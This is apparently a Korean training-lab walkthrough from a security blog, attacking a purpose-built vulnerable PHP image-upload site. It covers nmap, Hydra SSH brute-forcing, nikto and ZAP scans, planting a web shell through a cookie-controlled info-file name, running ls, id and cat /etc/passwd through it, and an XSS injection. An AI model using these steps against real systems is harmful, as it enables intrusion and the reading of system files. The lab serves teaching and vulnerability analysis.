홈페이지 취약점 분석 이야기 | 파일 지도 사진 깨알 |
---|
>> 목록보이기 WH-COOKIE-01 웹해킹 훈련장 실습 설명서
이 훈련장은 국내 누리집에서 실제로 발견된 취약점을 PHP로 재현한 것이다.
국내에서는 잘 사용되지 않으며, 현재는 세계적으로도 잘 사용하지 않는 웹 에디터에서 발견되었다.
이 웹에디터는 이미지를 등록하면서 이미지 파일의 메타데이타(크기, 해상도, 원본 파일이름 등)를 저장하는 용도로
중간파일을 새로 생성한다. 그런데 문제는 서버가 생성한 중간파일 이름을 웹브라우저에 쿠키로 전달한 후
웹 브라우저가 - 이미지를 업로드할 때 - 이 쿠키를 서버로 다시 전달한다는 점이었다.
이 과정에서 해커가 개입할 수 있는 여지가 발생한다.
WH-COOKIE-01 웹해킹 훈련장 구동
위의 WH-COOKIE-01 라이브 ISO 파일을 내려받는다. VMware Workstation Player에서 메모리 256MB, 가상디스크 크기 0MB
(이보다 커도 상관은 없음) 손님 운영체제를 만든다. 광학디스크는 내려받은 ISO 파일을 지정하고 부팅한다.
부팅이 끝나면
WH-COOKIE-01 훈련장은 200KB 이하의 이미지를 업로드할 수 있는 누리집이다. nmap 점검
Nmap으로 root@kali:~# nmap -p- 192.168.189.238 Starting Nmap 7.31 ( https://nmap.org ) at 2016-11-24 11:38 KST Nmap scan report for 192.168.189.238 Host is up (0.00024s latency). Not shown: 65532 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https MAC Address: 00:0C:29:E3:3F:16 (VMware) Nmap done: 1 IP address (1 host up) scanned in 2.83 seconds root@kali:~# nmap -p22,80,443 -A 192.168.189.238 Starting Nmap 7.31 ( https://nmap.org ) at 2016-11-24 11:40 KST Nmap scan report for 192.168.189.238 Host is up (0.00048s latency). PORT STATE SERVICE VERSION 22/tcp open ssh Dropbear sshd 2011.54 (protocol 2.0) | ssh-hostkey: | 1024 6c:51:4a:5b:27:22:d6:51:99:6f:23:b0:56:6c:df:10 (DSA) |_ 1039 47:9c:76:47:8f:4b:7d:36:a4:fc:63:bd:26:b0:5d:9f (RSA) 80/tcp open http Apache httpd (PHP 5.2.17) |_http-server-header: Apache |_http-title: \xEA\xB9\x80\xEC\xA7\x84\xEC\x88\x99\xEC\x9D\x98 \xEC\x82\xAC\xEC\xA7\x84 \xEC\xB0\xBD\xEA\xB3\xA0 ::: \xEC\x9B\xB9\xED\x95\xB4\xED\x82\xB9/\xED\x99\x88\xED\x8E\x98\xEC\x9D\xB4\xEC\xA7\x80\xEC\xB7... 443/tcp open ssl/http Apache httpd (PHP 5.2.17) |_http-server-header: Apache |_http-title: \xEA\xB9\x80\xEC\xA7\x84\xEC\x88\x99\xEC\x9D\x98 \xEC\x82\xAC\xEC\xA7\x84 \xEC\xB0\xBD\xEA\xB3\xA0 ::: \xEC\x9B\xB9\xED\x95\xB4\xED\x82\xB9/\xED\x99\x88\xED\x8E\x98\xEC\x9D\xB4\xEC\xA7\x80\xEC\xB7... | ssl-cert: Subject: organizationName=slitaz/stateOrProvinceName=UTC/countryName=US | Not valid before: 2016-11-22T17:50:07 |_Not valid after: 2026-11-20T17:50:07 |_ssl-date: 2016-11-23T23:22:30+00:00; -3h18m01s from scanner time. MAC Address: 00:0C:29:E3:3F:16 (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.36 - 2.6.37, Linux 2.6.37 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: -3h18m01s, deviation: 0s, median: -3h18m01s TRACEROUTE HOP RTT ADDRESS 1 0.48 ms 192.168.189.238 Post-scan script results: | clock-skew: |_ -3h18m01s: Majority of systems scanned OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 35.32 seconds root@kali:~# Nmap으로 검사한 결과 22/tcp (ssh), 80/tcp (http), 443/tcp (https) 3개의 포트가 열려 있는 것을 확인할 수 있었다. 또한 80, 443 포트에서는 Apache 웹서버와 PHP 5.2.17을 사용하고 있으며 운영체제는 리눅스로 보인다.
THC Hydra를 이용한 root 계정의 비밀번호 점검
22번 포트에서 SSH 접속이 가능하므로 리눅스의 관리자 계정인 root@kali:~# hydra -l root -P weakpass.txt 192.168.189.238 ssh -t 1 Hydra v8.3 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (http://www.thc.org/thc-hydra) starting at 2016-11-24 11:46:40 [DATA] max 1 task per 1 server, overall 64 tasks, 534 login tries (l:1/p:534), ~8 tries per task [DATA] attacking service ssh on port 22 [STATUS] 50.00 tries/min, 50 tries in 00:01h, 484 to do in 00:10h, 1 active [STATUS] 47.33 tries/min, 142 tries in 00:03h, 392 to do in 00:09h, 1 active [STATUS] 43.71 tries/min, 306 tries in 00:07h, 228 to do in 00:06h, 1 active [STATUS] 44.17 tries/min, 530 tries in 00:12h, 4 to do in 00:01h, 1 active 1 of 1 target completed, 0 valid passwords found Hydra (http://www.thc.org/thc-hydra) finished at 2016-11-24 11:58:45 root@kali:~#
nikto를 이용한 웹서비스 환경 점검
다음은 80번 포트와 443번 포트를 대상으로 root@kali:~# nikto -host 192.168.189.238 -port 80 - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.189.238 + Target Hostname: 192.168.189.238 + Target Port: 80 + Start Time: 2016-11-24 11:43:28 (GMT9) --------------------------------------------------------------------------- + Server: Apache + Retrieved x-powered-by header: PHP/5.2.17 + Cookie infofile created without the httponly flag + No CGI Directories found (use '-C all' to force check all possible dirs) + OSVDB-630: IIS may reveal its internal or real IP in the Location header via a request to the /images directory. The value is "http://127.0.0.1/images/". + Web Server returns a valid response with junk HTTP methods, this may cause false positives. + OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. + OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. + OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. + OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. + 7535 requests: 0 error(s) and 8 item(s) reported on remote host + End Time: 2016-11-24 11:43:39 (GMT9) (11 seconds) --------------------------------------------------------------------------- + 1 host(s) tested root@kali:~# root@kali:~# nikto -host 192.168.189.238 -port 443 - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.189.238 + Target Hostname: 192.168.189.238 + Target Port: 443 --------------------------------------------------------------------------- + SSL Info: Subject: /C=US/ST=UTC/O=slitaz Ciphers: ECDHE-RSA-AES256-SHA Issuer: /C=US/ST=UTC/O=slitaz + Start Time: 2016-11-24 11:44:48 (GMT9) --------------------------------------------------------------------------- + Server: Apache + Retrieved x-powered-by header: PHP/5.2.17 + The site uses SSL and the Strict-Transport-Security HTTP header is not defined. + Cookie infofile created without the secure flag + Cookie infofile created without the httponly flag + No CGI Directories found (use '-C all' to force check all possible dirs) + Hostname '192.168.189.238' does not match certificate's names: + Web Server returns a valid response with junk HTTP methods, this may cause false positives. + OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. + OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. + OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. + OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. + 7535 requests: 0 error(s) and 10 item(s) reported on remote host + End Time: 2016-11-24 11:45:43 (GMT9) (55 seconds) --------------------------------------------------------------------------- + 1 host(s) tested root@kali:~#
OWASP-ZAP 자동 웹취약점 점검
Nikto도 탐지했던 이 훈련장 누리집은 이미지를 업로드할 수 있다. OWASP-ZAP 자동점검에서는 이미지 업로드를 제대로 시험하지 못하였다. FireFox 웹 브라우저의 프록시를 OWASP-ZAP이 사용하는 8080 포트로 지정하고 이미지를 업로드한다.
"History" 탭에서 POST 방식의 http://192.168.189.238/upload.php에 오른쪽 마우스 버턴을 누르고 "공격"->"Active Scan"을 선택한다. 그러면 OWASP-ZAP이 이미지 업로드에서 발생할 수 있는 취약점을 분석한다.
위의 그림은 이미지 업로드 과정에서
수동 점검수동점검은 일반적으로 구글과 같은 웹 검색엔진을 이용하여 대상 누리집을 파악하는 것으로 시작한다. 누리집에 직접 접속하지 않고도 홈페이지 구조 등과 같이 상당히 많은 정보를 얻을 수 있다. 이 훈련장은 웹검색엔진에 노출되지 않았을 가능성이 크므로 직접 홈페이지 구조를 파악한다. OWASP-ZAP의 왼쪽에도 이미 디렉토리 구조가 나오므로 이 과정에 큰 도움이 된다. HTTP 헤더와 HTML 소스를 살펴보는 것도 큰 도움이 된다. WH-COOKIE-01 훈련장 첫 페이지의 HTTP 헤더와 HTML 소스를 살펴보자. root@kali:~# curl -v http://192.168.189.238/ * Trying 192.168.189.238... * Connected to 192.168.189.238 (192.168.189.238) port 80 (#0) > GET / HTTP/1.1 > Host: 192.168.189.238 > User-Agent: curl/7.50.1 > Accept: */* > < HTTP/1.1 200 OK < Date: Thu, 24 Nov 2016 02:40:05 GMT < Server: Apache < X-Frame-Options: DENY < X-XSS-Protection: 1 < X-Content-Type-Options: nosniff < X-Powered-By: PHP/5.2.17 < Set-Cookie: infofile=imginfo%2F14799552050.73260100.txt < Content-Length: 5091 < Content-Type: text/html < [생략] <form action="upload.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="MAX_FILE_SIZE" value="200000" /> JPG 이미지만 허용. 최대파일크기: 200kb<br /> <input name="userfile" type="file" /> <input type="submit" value="Upload" /> <br> 간단한 붙임말: <input name="comment" type="text" size="60" /> </form> [생략] <p class="comment" style="text-align:center;">모든 사진 열람</p> <a href="#" onClick="view('images/14799424940.55803800.jpg',400,547);return false;"><img height="150" src="images/14799424940.55803800.jpg" title="고호 날짜: 2016-11-23 23:40:26 UTC 해상도: 400x547, 크기: 148330 바이트 이름: gogh.jpg" /<>/a> [생략] root@kali:~# OWASP-ZAP의 디렉토리 구조, HTTP 헤더, HTML 소스 등으로 파악할 수 있는 WH-COOKIE-01 훈련장에 대한 정보는 다음과 같다.
위의 관찰결과를 잘 살펴보면 root@kali:~# curl http://192.168.189.238/imginfo/14799424940.55803800.txt images/14799424940.55803800.jpg:1479944426:400x547:148330:gogh.jpg:고호root@kali:~#
이 파일에는 이미지의 실제 저장된 이름, 아마도 업로드 당시의 시간, 해상도, 파일크기(바이트), 원본 파일 이름, 설명 등이
저장되어 있는 것을 볼 수 있다.
이로써 이미지는 일단 이러한 관찰을 뒤로 하고 이미지 업로드에서 웹쉘이 올라가는 지 확인한다. 다양한 확장자 파일을 미리 만들어서 시도할 수도 있고, 프록시에서 확장자를 변경함으로써 점검할 수도 있다. 확장자 검증에서 개발자의 실수가 있었는 지를 확인하는 과정이다.
위와 같은 다양한 시도에도 웹해킹에서는 블랙박스(black-box) 방식이므로 위와 같은 다양한 시도가 필요하다. 그러나 웹취약성분석(white-box web hacking)에서는 이미지 업로드 부분의 소스를 미리 분석하여 취약한 부분이 있는 지를 파악하는 것이 시간을 줄일 수 있는 가장 좋은 방법이다.
이미지 자체를 웹쉘로 업로드하는 것이 실패했으므로, 이제 이미지에 대한 정보파일이 별도로 저장되는 점에 대해서 점검해보자.
정보파일에 저장되는 정보 중에서 사용자가 입력하는 부분은 "
위의 화면은 OWASP-ZAP에서 정상적인 이미지를 업로드하는 과정에서 root@kali:~# curl http://192.168.189.238/imginfo/cmd.php --data "1=ls" images/cmd.php.jpg:1479957334:400x547:148330:14302711480.68639500.txt 14302715260.34919600.txt 14302716850.67138300.txt 14302809200.37569100.txt 14798713610.77972700.txt 14798714230.66950400.txt 14798778030.18648700.txt 14798779450.92621600.txt 14799424940.55803800.txt cmd.php .jpg:PHP code as image nameroot@kali:~# root@kali:~# curl http://192.168.189.238/imginfo/cmd.php --data "1=id" images/cmd.php.jpg:1479957334:400x547:148330:uid=80(www) gid=80(www) groups=80(www) .jpg:PHP code as image nameroot@kali:~# root@kali:~# curl http://192.168.189.238/imginfo/cmd.php --data "1=cat /etc/passwd" images/cmd.php.jpg:1479957334:400x547:148330:root:x:0:0:Root Administrator:/root:/bin/sh nobody:x:99:99:Unprivileged User:/dev/null:/bin/false www:x:80:80:Web Server User:/var/www:/bin/false tux:x:1000:1000:Linux User,,,:/home/tux:/bin/sh .jpg:PHP code as image nameroot@kali:~#
결국 OWASP-ZAP의 XSS 탐지항목 진단
OWASP-ZAP에서 크로스사이트스크립트 취약점을 탐지한 바 있다.
보고를 위해서는 웹 브라우저에서 Javascript가 실해되는 것을 증빙하는 것이 좋다.
공격자가 업로드한 이미지 위에 마우스를 올리면
<img height="150" src="images/14799573350.00203100.jpg" title="
위의 공격에서는 HTML의 문법을 비집고 공격자가 새로운 HTML 코드를 입력하였다. 이와 같이 HTML 문법을 악용하여 원하는 문자열을 집어넣는 것을 "HTML 삽입" 또는 "HTML 깨기"라고 하며 가장 흔하게 발생하는 "코드삽입" 취약점이다. HTML 삽입 취약점은 대부분의 침해사고에서 XSS 공격에 악용된다. [처음 작성한 날: 2016.11.24] [마지막으로 고친 날: 2016.11.27] < 이전 글 : PHP Easter Egg의 이해와 조치방안 (2016.11.25) > 다음 글 : WH-COOKIE-01 웹해킹훈련장 홈페이지 취약점분석 결과보고서 (2016.11.26) 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다. 잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다. 문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문 |